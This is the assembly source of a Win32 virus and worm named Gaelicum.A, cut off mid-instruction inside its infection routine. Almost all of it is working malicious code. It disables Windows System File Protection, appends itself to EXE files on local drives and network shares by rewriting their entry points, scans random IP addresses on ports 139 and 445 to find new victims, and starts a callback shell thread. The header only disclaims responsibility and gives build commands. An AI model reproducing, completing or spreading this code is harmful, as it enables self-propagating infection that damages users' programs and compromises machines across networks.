; Title: Win32 Gaelicum.A ; Platforms: Win9x/ME/2000/XP/2003 ; ; ; This is the source code of a VIRUS. At the date of today a source ; cannot do any kind of damage to your comp. Use it at your own risk. ; The author is not responsabile of any damage that may occur due to ; the assembly of this file. ; ; ÄÄÄÄÄÄÄÄ ; Features ; ÄÄÄÄÄÄÄÄ ; ; Win32 (tested under W95/W2k/XP) run-time virus. Infects ; EXE files increasing the last section. ; Uses hash values to find APIs instead of names. Support Export ; Forwarding for APIs like GetLastError which are inside others DLLs. ; Spreads across the local network as well as ; remote netbios shares. ; Makes use some of some undocumented functions of sfc.dll ; to disable System File Protection. ; Infecting the file ntoskrnl.exe seems to create some problem under ; Win XP, so does not infect this file. ; Very fast/optimized scanning routine using non-blocking sockets. ; Generates random IP addresses trying the next network class whenever ; active hosts are found. ; ; ;To compile: ;nasmw -fwin32 -O6 vx.asm ;link /RELEASE /entry:entry /subsystem:windows vx.obj kernel32.lib ;must be linked with indirect jmp %xdefine ExitProcess _ExitProcess@4 EXTERN ExitProcess OEP EQU ExitProcess %error "This file will infect your system!!" ERROR_ALREADY_EXISTS EQU 183 DETACHED_PROCESS EQU 8 CREATE_SUSPENDED EQU 4 PAGE_EXECUTE_READWRITE EQU 64 FIONBIO EQU 0x8004667e RESOURCEUSAGE_CONTAINER EQU 2 RESOURCETYPE_DISK EQU 1 ERROR_MORE_DATA EQU 234 SCAN_THREADS EQU 10 MAX_THREADS EQU 50 ;only @FindShares threads CPU 386 [BITS 32] section .text execute GLOBAL _entry BASE_ADDRESS EQU 0x400000 _entry: push edx ; <- return address pushad mov ecx, dword (OEP - BASE_ADDRESS) ;change with OLD_EP START_SIZE EQU ($ - _entry) call .delta .delta pop edi .fndmz dec edi xor di, di cmp word [edi], 'MZ' jnz .fndmz add ecx, edi ;OEP VA mov ebp, esp mov [ebp + 0x20], ecx ;ret cld call Kernel32Base startcode: pop eax call eax ; ARGS: edx: API name hash ; ebx: dll address ; Return: eax: API address ; ERROR: ecx == 0 LGetProcAddress: ; USES ebx ebp esi edi push ebp push esi push edi mov eax, [ebx + 0x3c] lea esi, [ebx + eax + 0x78] lodsd ; Export Table RVA push dword [esi] ; Export Table size add eax, ebx ; Export Table address push eax mov ecx, [eax + 0x18] ; NumberOfNames mov ebp, [eax + 0x20] add ebp, ebx ; AddressOfNames .Nextf jecxz .End1 dec ecx mov esi, [ebp + ecx * 4] add esi, ebx xor edi, edi .Lhash xor eax, eax lodsb cmp al, ah je .Fh ror edi, 13 add edi, eax jmp short .Lhash .Fh cmp edi, edx jnz .Nextf pop ebp ; Export Table mov edx, [ebp + 0x24] add edx, ebx ; AddressOfNameOrdinals mov cx, [edx + ecx * 2] mov edx, [ebp + 0x1C] add edx, ebx ; AddressOfFunctions mov eax, [edx + 4 * ecx] add eax, ebx .FDone pop ecx ; Export Table size push eax sub eax, ebp cmp eax, ecx pop eax ja .End2 xchg esi, eax ; Export Forwarding sub esp, byte 0x40 mov edi, esp .FCopy stosb lodsb cmp al, '.' jne .FCopy mov byte [edi], 0 mov edi, esp inc edi mov ebp, [esp + 0x48] ; old EBP push edi call [ebp - __LOADLIBRARY] push esi push eax call [ebp - __GETPROCADDR] add esp, byte (0x40 - 8) mov ecx, eax ;ecx != 0 .End1 add esp, byte 8 .End2 pop edi pop esi pop ebp ret Kernel32Base: mov eax, [fs:0x30] test eax, eax js .find_kernel32_9x .find_kernel32_nt mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov ebx, [eax + 0x8] jmp short .kf .find_kernel32_9x mov eax, [eax + 0x34] mov ebx, [eax + 0xB8] .kf pop esi add esi, byte (LGetProcAddress - startcode) ; ebx = kernel32 ; esi = LGetProcAddress ; edi = MZ Header (EXE) push ebx ; __KERNEL32 mov edx, 0xec0e4e8e ; LoadLibraryA call esi push eax ; __LOADLIBRARY mov edx, 0x7c0dfcaa ; GetProcAddress call esi push eax ; __GETPROCADDR push edi ; __HINSTANCE __KERNEL32 EQU 0x4 ;[ebp - 4] __LOADLIBRARY EQU 0x8 ;[ebp - 8] __GETPROCADDR EQU 0xC ;[ebp - 0xC] __HINSTANCE EQU 0x10 ;[ebp - 0x10] mov edx, 0x4ee4a045 ; CreateMutexA call esi xor edx, edx push edx push 'icum' ;opt. push 'gael' push esp push edx push edx call eax ; CreateMutexA push eax ; CloseHandle mov edx, 0x75da1966 ; GetLastError call esi call eax xchg edi, eax mov edx, 0x0ffd97fb ; CloseHandle call esi call eax ; CloseHandle(hMutex) cmp edi, ERROR_ALREADY_EXISTS jne .payload .oep mov esp, ebp popad ret ; jump to OEP ;DEBUG ALIGN .payload call .LoadFunc STACK_CNT EQU (__HINSTANCE + 0xC) .apihash _CloseHandle EQU ((1*4) +STACK_CNT) dd 0x0ffd97fb _GetModuleFileNameA EQU ((2*4) +STACK_CNT) dd 0x45b06d76 _CreateProcessA EQU ((3*4) +STACK_CNT) dd 0x16b3fe72 _WriteProcessMemory EQU ((4*4) +STACK_CNT) dd 0xd83d6aa1 _GetThreadContext EQU ((5*4) +STACK_CNT) dd 0x68a7c7d2 _SetThreadContext EQU ((6*4) +STACK_CNT) dd 0xe8a7c7d3 _ResumeThread EQU ((7*4) +STACK_CNT) dd 0x9e4a3f88 _KERNEL32_APINUM EQU (($-.apihash)/4) .LoadFunc xchg edi, esi ; edi = LGetProcAddress pop esi push byte _KERNEL32_APINUM pop ecx .loop1: push ecx lodsd mov edx, eax call edi ; LGetProcAddress pop ecx push eax ; save APIs addresses on stack loop .loop1 inc ch sub esp, ecx ; 0x100 (256) mov eax, esp push ecx push eax push byte 0 call [ebp - _GetModuleFileNameA] mov ebx, esp ; host filename sub esp, 0x200 ;(512 bytes) lea edi, [esp + 0x10] push esp ; PROCESS_INFORMATION push edi ; STARTUPINFO push byte 0x44 pop ecx mov [edi], ecx inc edi xor eax, eax rep stosb push eax push eax push byte (CREATE_SUSPENDED | DETACHED_PROCESS) push eax push eax push eax push eax ; lpCmdLine push ebx ; lpFileName call [ebp - _CreateProcessA] mov edi, [ebp - __HINSTANCE] mov eax, [edi + 0x3c] add eax, edi mov eax, [eax + 0x2c] ; BaseOfCode add edi, eax pop esi ; hProcess push byte 0 push VIRUS_SIZE call startcode pop eax sub eax, byte (LGetProcAddress - _entry) ; WARN push eax push edi ; BaseAddress push esi call [ebp - _WriteProcessMemory] or eax, eax jz .oep2 ; failed push esi call [ebp - _CloseHandle] pop esi ; hThread push dword 0x10007 ; CONTEXT_FULL push esp push esi call [ebp - _GetThreadContext] add edi, (@virus_ep - _entry) mov ebx, esp mov [ebx + 0xb8], edi ; Eip to injected code push esi ; CloseHandle push esi ; ResumeThread push ebx ; SetThreadContext push esi ; `` `` lea edi, [ebx + 0x9c] ; context.Edi lea esi, [ebp - __GETPROCADDR] movsd ; edi = GetProcAddress movsd ; esi = LoadLibraryA movsd ; ebx = kernel32 call [ebp - _SetThreadContext] call [ebp - _ResumeThread] call [ebp - _CloseHandle] .oep2 mov esp, ebp popad ret ; jump to OEP @virus_ep: ; Vx ENTRY POINT cld mov ebp, esp push ebx ; kernel32 [ebp - 0x4] push esi ; LoadLibraryA [ebp - 0x8] push edi ; GetProcAddress [ebp - 0xC] %xdefine __VAR1 [ebp - 0x10] call startcode pop esi mov edx, 0x4ee4a045 ; CreateMutexA call esi push byte 0 push 'icum' push 'gael' push esp push byte 1 push byte 0 call eax push byte -1 ;WaitForSingleObject(gaelicum, INFINITE) push eax ;`` mov edx, 0x91afca54 ; VirtualAlloc call esi push byte PAGE_EXECUTE_READWRITE pop ecx push ecx shl ecx, 6 ; 0x1000 (MEM_COMMIT) push ecx push ecx push byte 0 call eax ; VirtualAlloc lea edi, [eax + 0x7C] mov __VAR1, esi lea esi, [ebp - __GETPROCADDR] movsd movsd movsd push edi call .LoadAll %define K32_APIOFFS ($-.k32_api) db K32_APINUM .k32_api Sleep EQU K32_APIOFFS dd 0xdb2d49b0 CreateThread EQU K32_APIOFFS dd 0xca2bd06b GetVersion EQU K32_APIOFFS dd 0xcfd98161 ExitThread EQU K32_APIOFFS dd 0x60e0ceef CloseHandle EQU K32_APIOFFS dd 0x0ffd97fb GlobalAlloc EQU K32_APIOFFS dd 0x0c0397ec GlobalFree EQU K32_APIOFFS dd 0x7cb922f6 CreateMutexA EQU K32_APIOFFS dd 0x4ee4a045 WaitForSingleObject EQU K32_APIOFFS dd 0xce05d9ad ReleaseMutex EQU K32_APIOFFS dd 0x14a059e5 GetTickCount EQU K32_APIOFFS dd 0xf791fb23 GetCurrentThreadId EQU K32_APIOFFS dd 0x35bbf99e lstrlenA EQU K32_APIOFFS dd 0xdd43473b lstrcmpiA EQU K32_APIOFFS dd 0x4b1e5adb FindFirstFileA EQU K32_APIOFFS dd 0x63d6c065 FindNextFileA EQU K32_APIOFFS dd 0xa5e1ac97 FindClose EQU K32_APIOFFS dd 0x23545978 CreateFile EQU K32_APIOFFS dd 0x7c0017a5 ReadFile EQU K32_APIOFFS dd 0x10fa6516 WriteFile EQU K32_APIOFFS dd 0xe80a791f SetFilePointer EQU K32_APIOFFS dd 0x76da08ac GetLogicalDriveStrings EQU K32_APIOFFS dd 0x79b4095d SetEndOfFile EQU K32_APIOFFS dd 0x96a028a6 K32_APINUM EQU (($-.k32_api)/4) %define WSOCK_APIOFFS ($-.wsock_api) db 'WSOCK32',0 ; dword align!! db WSOCK32_APINUM .wsock_api WSAStartup EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x3bfcedcb gethostbyname EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x510cfdc4 socket EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x492f0b6e ioctlsocket EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0xede29208 closesocket EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x79c679e7 connect EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x60aaf9ec select EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x5b1e69ee getpeername EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x95066ef2 inet_ntoa EQU (WSOCK_APIOFFS+(K32_APINUM*4)) dd 0x4a121b5c WSOCK32_APINUM EQU (($-.wsock_api)/4) %define MPR_APIOFFS ($-.mpr_api) db 'MPR',0 dd 0 ; dword align!! db MPR_APINUM .mpr_api WNetOpenEnumA EQU (MPR_APIOFFS+(WSOCK32_APINUM*4)+(K32_APINUM*4)) dd 0x70a02142 WNetEnumResourceA EQU (MPR_APIOFFS+(WSOCK32_APINUM*4)+(K32_APINUM*4)) dd 0xf6337650 WNetCloseEnum EQU (MPR_APIOFFS+(WSOCK32_APINUM*4)+(K32_APINUM*4)) dd 0x930a1f30 MPR_APINUM EQU (($-.mpr_api)/4) ; Global Vars %define CONNECTED [edi - 0x10] ;BYTE %define MTX_LOOP [edi - 0x14] ;DWORD %define LOCALIP [edi - 0x18] ;DWORD %define THREADNUM [edi - 0x1C] ;DWORD %define MTX_THREADNUM [edi - 0x20] ;DWORD %define TIMEOUT [edi - 0x24] ;DWORD %define OSVERSION [edi - 0x28] ;DWORD .LoadAll pop esi push byte 3 pop ecx ; DLL num .LoadNextDll push ecx ; DLL num xor eax, eax lodsb xchg ecx, eax ; Api num .LoadNextApi push ecx lodsd mov edx, eax ; hash call __VAR1 ; LGetProcAddress stosd pop ecx loop .LoadNextApi pop ecx dec ecx jz .Loaded push ecx push esi call [ebp - __LOADLIBRARY] xchg ebx, eax add esi, byte 8 pop ecx jmp short .LoadNextDll .Loaded pop edi ; heap mem call [edi + WaitForSingleObject] ;gaelicum, -1 xor ecx, ecx push ecx push esp ; lpThreadId push ecx push edi ; lpParameter call @Get_InfectFileSystem mov cl, 8 .push0 push byte 0 loop .push0 call [edi + CreateMutexA] ;set global vars mov dword TIMEOUT, 5000 mov MTX_LOOP, eax ;socket/connect loops call [edi + CreateMutexA] mov MTX_THREADNUM, eax ;@FindShares threads call [edi + CreateThread] push eax call [edi + CloseHandle] .WaitNetworkConn sub esp, 0x200 push esp push byte 2 call [edi + WSAStartup] mov CONNECTED, al ;FALSE .NotConn ;Primary Thread loop push dword TIMEOUT call [edi + Sleep] call @GetLocalIp jz .NotConn mov LOCALIP, eax mov byte CONNECTED, 1 ;TRUE call [edi + GetVersion] mov OSVERSION, eax push byte 1+1 or eax, eax js .9x ; Win95 has the HO bit set pop ecx push byte SCAN_THREADS +1 .9x ;can't 9x handle more than 100 sockets (??) pop ecx call @Get_Scan pop ebx .CreateScanThreads push ecx push ecx push esp xor edx, edx push edx push edi ;lpParameter push ebx ;lpStartRoutine dec ecx jnz .scan .cback pop ebx call @Get_Cback ;Cback shell thread .scan push edx push edx call [edi + CreateThread] push eax call [edi + CloseHandle] pop ecx pop ecx loop .CreateScanThreads .Conn push dword TIMEOUT call [edi + Sleep] call @GetLocalIp jnz .Conn mov byte CONNECTED, 0 ;FALSE jmp short .NotConn @Get_InfectFileSystem: pop edx call edx ;do PE infection @InfectFileSystem: mov ebp, esp mov edi, dword [ebp + 0x4] call @SFC_Disable sub esp, byte 0x7c push esp push byte 0x7c call [edi + GetLogicalDriveStrings] mov esi, esp .next_drive cmp byte [esi], byte 0 je .InfectLocalNet and byte [esi], 0xDF cmp byte [esi], 'A' ;WARN je .1 mov eax, esi call @InfectSubDir .1 lodsb cmp al, 0 jne .1 jmp short .next_drive .InfectLocalNet xor esi, esi ;local net call @BrowseNet call [edi + ExitThread] ; Browse local/remote networks ; ARGS: esi:lpNetResource ; @BrowseNet: push esi push ebp mov ebp, esp xor ebx, ebx push ebx push esp ;lphEnum push esi ;lpNetResource push ebx ;0 All resources push ebx ;RESOURCETYPE_ANY push byte 2 ;RESOURCE_GLOBALNET call [edi + WNetOpenEnumA] or eax, eax jnz .return pop ebx ;hEnum mov esi, 0x2000 push esi push eax ;GMEM_FIXED call [edi + GlobalAlloc] or eax, eax jz .exit push eax ; %xdefine lpBuffer dword [ebp - 4] push byte -1 mov edx, esp ;lpcCount push esi push esp ;lpBufferSize push eax ;lpBuffer xchg esi, eax push edx ;lpcCount push ebx ;hEnum call [edi + WNetEnumResourceA] add esp, byte 8 cmp al, ERROR_MORE_DATA je .1 or eax, eax jnz .free .1 mov ecx, [esp - 4] or ecx, ecx jz .free push ebx .loop1 push ecx test byte [esi + 0xC], RESOURCEUSAGE_CONTAINER jnz .container test byte [esi + 0x8], RESOURCETYPE_DISK jz .2 mov eax, [esi + 0x14] ;lpRemoteName call @InfectSubDir jmp short .2 .container call @BrowseNet ;recursive .2 add esi, byte 0x20 pop ecx loop .loop1 pop ebx .free call [edi + GlobalFree] .exit push ebx call [edi + WNetCloseEnum] .return leave pop esi ret ;RETURN: ZF=1 if network down (eax=127.0.0.1), ZF=0 otherwise (eax=ip) @GetLocalIp: push byte 0 call [edi + gethostbyname] or eax, eax jz .end mov esi, [eax + 12] ;h_addr_list push eax .1 pop ecx push eax lodsd or eax, eax jz .2 mov eax, [eax] jmp short .1 .2 pop eax cmp al, 127 .end ret @Get_Scan: pop eax call eax @Scan: mov ebp, esp mov edi, [ebp + 4] xor ebx, ebx push ebx push ebx %xdefine _139OPEN [ebp - 0x4] %xdefine NUM_IPDUP [ebp - 0x8] push ebx push ebx ;sin.zero push ebx ;ip %xdefine IP_4 [ebp - 0x11] ;class D %xdefine IP_3 [ebp - 0x12] ;class C %xdefine IP_2 [ebp - 0x13] ;class B %xdefine IP [ebp - 0x14] mov bl, 0x8B ;port 139 (PORT_LO) shl ebx, 24 %xdefine PORT_LO [ebp - 0x15] ; high mem B.E. %xdefine PORT_HI [ebp - 0x16] ; low mem B.E. mov bl,2 push ebx ;AF_INET | port %xdefine SIN [ebp - 0x18] %xdefine IPDUP_SIZE ((64+1)*4) sub esp, IPDUP_SIZE + 4 %xdefine RAND_SEED [ebp - 0x1C] %xdefine ARR_IPDUP [ebp - (IPDUP_SIZE+0x1C)] LOCAL_DATA_SIZE EQU (IPDUP_SIZE+0x1C) call @randinit mov esi, MTX_THREADNUM ;WARN push byte 0 push esi call [edi + WaitForSingleObject] or eax, eax jnz .1 mov edx, LOCALIP ;scan local net mov IP, edx mov IP_4, al ;0 push dword TIMEOUT call [edi + Sleep] push esi call [edi + ReleaseMutex] jmp short @Net_loop.s .1 jmp short @Net_loop.Next_Net @Net_loop mov byte IP_4, 0 xor word PORT_HI, 0x3601 ; 139<=>445 cmp byte PORT_HI, 0 je .Next_Net ; 139 jmp short @sock_arr ; 445 (rescan same net) .Next_Net cmp dword _139OPEN, byte 0 jnle .c .r call @GetRandomNet mov IP, ebx jmp short .s .c inc byte IP_3 ; inc class C net jnz .s inc byte IP_2 ; inc class B jz .r .s xor ecx, ecx mov NUM_IPDUP, ecx ;clear ARR_IPDUP @sock_arr push byte 64 pop ecx @sock_loop inc byte IP_4 cmp byte IP_4, 0xFF je @Select push ecx ; counter push byte 0 push byte 1 push byte 2 call [edi + socket] mov ebx, eax push esp ; ecx = TRUE push FIONBIO push ebx call [edi + ioctlsocket] push byte 0x10 lea eax, SIN push eax push ebx call [edi + connect] call @sleep pop ecx push ebx ;save sockets on stack loop @sock_loop @Select mov ch, 64 sub ch, cl jz @end_loop ; (<- should never happen) movzx ecx, ch mov esi, esp mov ebx, esp ; socket array mov _139OPEN, ecx .fd_set: lodsd push eax ; fd_array call @sleep loop .fd_set mov edx, _139OPEN push edx ; fd_count mov esi, esp push edx ; CloseSockArr (sock count <= 64) push ebx ; CloseSockArr (pointer to socket array) push ecx push ecx push esp ; tv { 0,0 } poll push ecx ; exceptfds push esi ; writefds push ecx ; readfds push ecx push dword TIMEOUT ; 5 sec. call [edi + Sleep] call [edi + select] add esp, byte 8 mov _139OPEN, eax or eax, eax jle @select_end ; 0 | -1 lodsd ; fd_count mov ecx, eax .open_loop lodsd ; fd_array call @PortOpen call @sleep loop .open_loop @select_end call @CloseSockArr ; ebx, edx @end_loop mov esp, ebp sub esp, LOCAL_DATA_SIZE cmp byte CONNECTED, 0 je .Exit_Scan ; disconnected mov eax, OSVERSION or eax, eax jns .2 ;only for Win9x cmp dword _139OPEN, byte 0 jle .40 jmp short .240 .40 push dword 40 * 1000 ;40 sec. jmp short .sleep .240 push dword 240 * 1000 ;4 min. (TIME_WAIT delay) .sleep call [edi + Sleep] .2 cmp byte IP_4, 0xFF je @Net_loop jmp @sock_arr .Exit_Scan call [edi + ExitThread] @randinit: call [edi + GetCurrentThreadId] mul ah xchg al, ah mul ax shl eax, 16 mov ax, dx push eax call [edi + GetTickCount] pop ecx mul ecx rol eax, cl mov RAND_SEED, eax ret @sleep: push ecx mov eax, MTX_LOOP push eax push byte -1 push eax call [edi + WaitForSingleObject] push byte 1 call [edi + Sleep] call [edi + ReleaseMutex] pop ecx ret @CloseSockArr: mov ebx, [esp + 4] ; socket array mov ecx, [esp + 8] ; count .close_loop: dec ecx push ecx push dword [ebx + ecx * 4] call [edi + closesocket] call @sleep pop ecx inc ecx loop .close_loop ret 8 @PortOpen: ; eax: socket push ecx push esi sub esp, byte 0x10 ; 0x10 bytes stack frame mov edx, esp push byte 0x10 push esp ; len push edx ; sockaddr push eax call [edi + getpeername] add esp, byte 8 or eax, eax jnz .end pop eax push eax cmp eax, LOCALIP je .end lea ebx, ARR_IPDUP mov ecx, NUM_IPDUP or ecx, ecx jz .addip push edi push ecx mov edi, ebx repne scasd pop ecx pop edi je .end ;ip already probed .addip mov [ebx + ecx*4], eax inc ecx mov NUM_IPDUP, ecx xchg esi, eax push byte 8 push byte 0 call [edi + GlobalAlloc] or eax, eax jz .end mov [eax], edi ;mem+0 = edi mov [eax + 4], esi ;ip ;mem+4 = ULONG ip mov esi, eax xor ecx, ecx push esp ;lpThreadId push ecx ;dwCreationFlags push esi ;lpParameter call @Get_FindShares push ecx push ecx call [edi + CreateThread] push eax call [edi + CloseHandle] or eax, eax jnz .end ;<- ?? error push esi call [edi + GlobalFree] .end call @WaitMaxThreads add esp, byte 0xC pop esi pop ecx ret @rand: push ecx mov eax, RAND_SEED mov cl, al rol eax, cl ; rotate left, bits shifted out reenter on the right push eax push ecx call [edi + GetTickCount] mov cl, al ror eax, cl pop ecx rol eax, cl pop edx add edx, eax ;add some big number mov eax, edx mov ecx, eax mul ecx mov cl, al rol eax, cl xor eax, edx mov RAND_SEED, eax ; store random seed pop ecx xor edx, edx ; zero edx for edx:eax MOD ecx div ecx ; divide by ecx, remainder in edx xchg eax, edx ret ;RETURN: ebx ; @GetRandomNet: xor ebx, ebx push byte 3 pop ecx .rnd push ecx mov cx, 256 call @rand pop ecx push ecx sub ecx, byte 3 neg ecx imul ecx, byte 8 shl eax, cl pop ecx or eax, ebx cmp al, 0 je .rnd cmp al, 10 je .rnd cmp al, 127 je .rnd cmp al, 223 ja .rnd cmp al, 172 jne .b cmp ah, 16 jb .b cmp ah, 31 jbe .rnd .b cmp al, 192 jne .next cmp ah, 168 je .rnd .next: or ebx, eax loop .rnd ret @Get_FindShares: pop edx call edx @FindShares: mov ebp, esp sub esp, byte 0x40 ;0x40 bytes stack frame mov esi, [ebp + 4] ;struct { edi, ULONG ip } *data; mov edi, [esi] push dword [esi + 4] push esi call [edi + GlobalFree] push byte 1 call @AddThreadNum ;inc THREADNUM call @WaitMaxThreads call [edi + inet_ntoa] or eax, eax jz .exit xchg esi, eax mov [ebp], edi mov edi, esp mov al, '\' stosb stosb push byte 0x4 pop ecx rep movsd mov edi, [ebp] mov edx, esp ;lpRemoteName push ecx ;lpProvider push ecx ;lpComment push edx ;lpRemoteName push ecx ;lpLocalName push byte 2 ;RESOURCEUSAGE_CONTAINER push ecx ;RESOURCEDISPLAYTYPE_GENERIC push byte 1 ;RESOURCETYPE_DISK push byte 2 ;RESOURCE_GLOBALNET mov esi, esp ;NETRESOURCE call @BrowseNet .exit push byte -1 call @AddThreadNum ;dec THREADNUM call [edi + ExitThread] ; ARGS: 1 inc -1 dec ; Registers used: ALL @AddThreadNum: pop eax ;RET/clean stack pop ebx push eax lea esi, MTX_THREADNUM lodsd push eax push byte -1 push eax call [edi + WaitForSingleObject] add dword [esi], ebx ;THREADNUM call [edi + ReleaseMutex] ret @WaitMaxThreads: .loop1 cmp dword THREADNUM, MAX_THREADS jle .end push dword TIMEOUT call [edi + Sleep] jmp short .loop1 .end ret @InfectSubDir: ; Arguments: eax: remote (UNC) or local path push ebx push esi mov esi, eax mov ebx, 640 ;(MAX_PATH + WIN32_FIND_DATA) push ebx push byte 0 call [edi + GlobalAlloc] or eax, eax jz .end push eax push edi mov edi, eax push edi .1 lodsb stosb or al, al jnz .1 mov edx, ebx ;640 shr edx, 1 ;320 pop ebx add edx, ebx ;WIN32_FIND_DATA pop edi xor esi, esi call @DirScan call [edi + GlobalFree] .end pop esi pop ebx ret ; Scan directories recursively and finds *.exe files ; ARGS: ; edx: WI32_FIND_DATA addr ; ebx: BasePath (ie. C:\) ; esi:CurrentDir (ie. WINNT) ; esi MUST BE 0 if not called recursively ;RETURN: void @DirScan: push ebp mov ebp, esp push edx push ebx call [edi + lstrlenA] push edi push eax or esi, esi jnz .1 pop eax cmp byte [ebx + eax -1], '\' jne .2 dec eax jmp short .2 .1 push esi call [edi + lstrlenA] xchg ecx, eax pop eax lea edi, [ebx + eax] add eax, ecx inc ecx rep movsb .2 call .ext db '\*.*',0 .ext pop esi lea edi, [ebx+eax] push edi movsd movsd pop esi inc esi pop edi push ebx push esi %define LPWIN32_FIND_DATA dword [ebp - 0x4] %define lpBasePath dword [ebp - 0x8] %define lpBasePathEnd dword [ebp - 0xC] ;trailing '\' not inclused push LPWIN32_FIND_DATA push ebx ;BasePath call [edi + FindFirstFileA] mov byte [esi], 0 ; remove '*.*' from BasePath cmp eax, byte -1 je .end mov esi, eax .findloop mov ebx, LPWIN32_FIND_DATA test byte [ebx], 16 ;FILE_ATTRIBUTE_DIRECTORY lea ebx, [ebx + 44] ;cFileName jz .isfile cmp byte [ebx], '.' je .next push esi mov edx, LPWIN32_FIND_DATA mov esi, ebx mov ebx, lpBasePath call @DirScan ;recursive pop esi jmp short .next .isfile push ebx call [edi + lstrlenA] push eax ;cFileName len call .exe db '.exe',0 .exe lea ecx, [ebx + eax -4] push ecx call [edi + lstrcmpiA] or eax, eax pop ecx ;cFileName len jnz .next push esi push edi mov esi, ebx ;cFileName mov edi, lpBasePathEnd inc ecx ;NULL term. rep movsb pop edi mov eax, lpBasePath call @Infect pop esi .next mov ebx, lpBasePathEnd mov byte [ebx], 0 push LPWIN32_FIND_DATA push esi ;hFindFile push byte 1 call [edi + Sleep] call [edi + FindNextFileA] or eax, eax jnz .findloop .close push esi call [edi + FindClose] .end: leave ret SIGN_BYTE equ 'V' ;infection mark SIGN_OFFS equ 0x32 ;MZ Header e_res2 PE_SIZE equ 0x58 ;cbToRead from PE HDR (FILE+OPT. header <= SizeOfHeaders) %xdefine PE_ADDR [ebp - (0x20 + PE_SIZE)] ; Infection Routine ; ARGS: eax: file path ; RETURN: void ; USES esi @Infect: push ebp mov ebp, esp sub esp, byte 0x20 ; 0x20 bytes stack frame %xdefine OLD_EP [ebp - 0x4] %xdefine NEW_EP [ebp - 0x8] %xdefine FILE_ALIGN [ebp - 0xC] %xdefine WRITE_AREA [ebp - 0x10] %xdefine VirtualSize [ebp - 0x14] %xdefine VirtualAddress [ebp - 0x18] %xdefine E_LFANEW [ebp - 0x1C] xor edx, edx push edx push edx push byte 3 ;OPEN_EXISTING push edx push byte 1 ;FILE_SHARE_READ push 0xC0000000 ;GENERIC_READ | GENERIC_WRITE push eax ;file path ;DEBUG mov esi, eax push esi call [edi + lstrlenA] lea esi, [esi + eax - 12] push esi call .ntosk db 'ntoskrnl.exe',0 .ntosk call [edi + lstrcmpiA] or eax, eax jnz .fileok leave ret .fileok call [edi + CreateFile] mov ebx, eax inc ebx jnz .opened .close jmp .close2 .markclose jmp .markclose2 .opened dec ebx push byte 0x40 ;MSDOS e_lfanew pop esi sub esp, esi mov edx, esp push byte 0 push esp push esi ;dwToRead push edx ;lpBuffer push ebx ;Handle call [edi + ReadFile] cmp [esp- 4], esi jne .close cmp word [esp], 'MZ' jne .close cmp byte [esp + SIGN_OFFS], SIGN_BYTE je .close push eax add esp, esi pop esi ;e_lfanew mov E_LFANEW, esi push byte 0 ;FILE_BEGIN push byte 0 push esi ;e_lfanew push ebx call [edi + SetFilePointer] inc eax jz .close sub esp, byte PE_SIZE ;(FILE_HEADER + OPTIONAL_HEADER up to SizeOfHeaders) mov edx, esp push byte 0 push esp push byte PE_SIZE ;dwToRead push edx ;lpBuffer push ebx call [edi + ReadFile] mov esi, esp cmp dword [esi-4], byte PE_SIZE jne .close cmp word [esi], 'PE' jne .close xor ecx, ecx mov cx, [esi + 0x6] ;NumberOfSections or ecx, ecx jle .markclose push ecx mov cx, [esi + 0x14] ;SizeOfOptionalHeader add ecx, byte 0x18 ;sizeof IMAGE_FILE_HEADER add ecx, E_LFANEW TEST byte [esi+0x16],2 ;IMAGE_FILE_EXECUTABLE_IMAGE jz .markclose mov esi, [esi + 0x3c] mov FILE_ALIGN, esi pop esi push byte +40 pop eax mul esi ;NumberOfSections sub esp, eax push ecx ;Section table offset push esi ;NumberOfSections lea esi, [esp + 8] xor edx, edx push edx ;ReadFile push esp ;`` push eax ;`` push esi ;`` push edx ;(SetFilePointer) push edx ;`` push ecx push ebx call [edi + SetFilePointer] ;start of Section Header array inc eax jz .markclose push ebx call [edi + ReadFile] xor edx, edx cmp [esi-0xc], edx je .markclose pop ecx ;NumberOfSections push ecx .findlastsec cmp edx, [esi+0x14] ;PointerToRawData jg .ng mov edx, [esi+0x14] mov eax, ecx .ng add esi, byte 40 ;next section hdr loop .findlastsec pop ecx sub ecx, eax ;0 = 1°section, 1 = 2°section, ... push byte +40 pop eax mul ecx pop edx ;Section table offset lea esi, [esp + eax] add edx, eax xor ecx, ecx push ecx ;WriteFile push esp ;`` push byte 40 ;`` push esi ;`` push ebx push ecx ;FILE_BEGIN push ecx push edx push ebx add esi, byte 8 push dword [esi] ;old VirtualSize mov edx, VIRUS_SIZE add edx, [esi] ;VirtualSize + VIRUS_SIZE mov VirtualSize, edx mov [esi], edx ;new VirtualSize mov eax, edx xor edx, edx mov ecx, FILE_ALIGN div ecx inc eax mul ecx ;eax: SizeOfRawData aligned mov [esi + 8], eax mov edx, [esi + 4] ;VirtualAddress mov VirtualAddress, edx pop ecx add edx, ecx ;VirtualAddress + old VirtualSize (NEW EP) mov NEW_EP, edx mov eax, [esi + 0xC] ;PointerToRawData add ecx, eax ;file area to write code (PointerToRawData + old VirtualSize) mov WRITE_AREA, ecx or dword [esi + 0x1C], 0x20000020 ;IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_CNT_CODE call [edi + SetFilePointer] call [edi + WriteFile] ;Update last Section Header lea esi, PE_ADDR ;PE addr xor ecx, ecx push ecx ;SetFilePointer push ecx ;SetFilePointer push ecx ;lpOverlapped (WriteFile) push esp ;WriteFile push byte 0x54 ;dwToWrite `` (up to SizeOfImage) push esi ;lpBuffer push ebx mov edx, E_LFANEW ;PE offset push ecx push ecx push edx push ebx call [edi + SetFilePointer] ;PE HEADER add esi, byte 0x28 ;AddressOfEntryPoint lodsd mov OLD_EP, eax ;Original Entry Point mov eax, NEW_EP mov [esi-4], eax ;New Entry Point mov eax, VirtualAddress add eax, VirtualSize mov [esi+0x24], eax ;SizeOfImage call [edi + WriteFile] ;Update PE HEADER push dword WRITE_AREA push ebx call [edi + SetFilePointer] ;Append virus code push eax push edi lea edi, [esp + 8] mov al, 0x52 ;push edx stosb mov al, 0x60 ;pushad stosb mov al, 0xb9 ;mov ecx (opcode) stosb mov eax, OLD_EP stosd pop edi pop esi ;file pointer mov edx, esp ;lpBuffer xor 